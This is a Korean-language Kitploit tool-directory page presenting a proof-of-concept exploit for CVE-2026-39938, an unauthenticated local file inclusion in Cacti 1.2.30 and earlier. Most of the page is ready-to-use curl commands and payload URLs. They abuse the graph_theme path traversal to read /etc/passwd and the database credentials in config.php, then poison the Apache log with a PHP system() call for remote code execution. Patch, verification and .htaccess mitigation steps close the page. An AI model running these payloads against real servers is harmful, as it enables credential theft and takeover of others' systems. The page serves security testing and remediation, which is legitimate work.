Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
By-Poloss..-..CVE-2026-39938 — CVE-2026-39938에 대한 개념 증명 익스플로잇: Cacti <= 1.2.30에서의 인증되지 않은 로컬 파일 포함 취약점으로, 로그 포이즈닝을 통해 임의 파일 읽기 및 원격 코드 실행이 가능합니다. | Kitploit
도구/GitHubGitHub/polosss/by-poloss..-..cve-2026-39938
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubpolosss/by-poloss..-..cve-2026-39938

By-Poloss..-..CVE-2026-39938

CVE-2026-39938에 대한 개념 증명 익스플로잇: Cacti <= 1.2.30에서의 인증되지 않은 로컬 파일 포함 취약점으로, 로그 포이즈닝을 통해 임의 파일 읽기 및 원격 코드 실행이 가능합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1개월 전아직 검토되지 않음

CVE-2026-39938: Cacti <= 1.2.30 - 인증되지 않은 LFI

개요

필드값
CVE IDCVE-2026-39938
CVSS 점수9.8 (심각)
영향받는 제품Cacti
영향받는 버전<= 1.2.30
패치 버전1.2.31
수정 커밋9871f0c

취약점 세부 정보

근본 원인

취약점은 lib/rrd.php에서 graph_theme 매개변수가 검증 없이 직접 사용되는 데 있습니다:

취약한 코드:

root@kitploit:~
if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

패치된 코드:

root@kitploit:~
if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

문제점: ../ 경로 탐색 시퀀스에 대한 검증이 없어, 공격자가 인증 없이 임의의 파일을 읽을 수 있습니다.


개념 증명 (PoC) - 간단한 단계

단계 1: 취약점 확인 - /etc/passwd 읽기

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

결과: 응답에 /etc/passwd의 내용이 표시됩니다.

단계 2: 데이터베이스 구성 읽기

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

결과: 데이터베이스 자격 증명(사용자 이름, 비밀번호)이 노출됩니다.

단계 3: 로그 중독을 통한 원격 코드 실행

3.1 Apache 로그에 PHP 코드 주입

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 로그 파일을 포함하여 코드 실행

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

결과: 명령 출력(예: uid=33(www-data))이 표시됩니다.


일반적으로 테스트된 엔드포인트


PoC URL 예제

기본 LFI 테스트

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

애플리케이션 구성 읽기

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

로그 중독 (주입)

root@kitploit:~
http://target-cacti/graph_image.php?local_graph_id=1

헤더 포함: User-Agent: <?php system('id'); ?>

로그 중독 (실행)

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

해결 방법

패치 버전으로 업데이트

root@kitploit:~
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

패치 적용 확인

root@kitploit:~
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

임시 완화 조치 (.htaccess)

root@kitploit:~
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

참고 자료

  • GitHub 보안 권고
  • 패치 커밋 9871f0c
  • NVD CVE-2026-39938

W.P.E.F

  • W.P.E.F 텔레그램 채널 #1
  • W.P.E.F 텔레그램 채널 #2

보안 연구 목적으로 생성된 보고서 날짜: 2026년 6월 27일

도구 다운로드
엔드포인트매개변수페이로드 예시
/graph_image.phpgraph_theme../../../../../../../etc/passwd
/graph_image.phpgraph_theme../../../../include/config.php
/graph_image.phpgraph_theme../../../../../../../var/log/apache2/access.log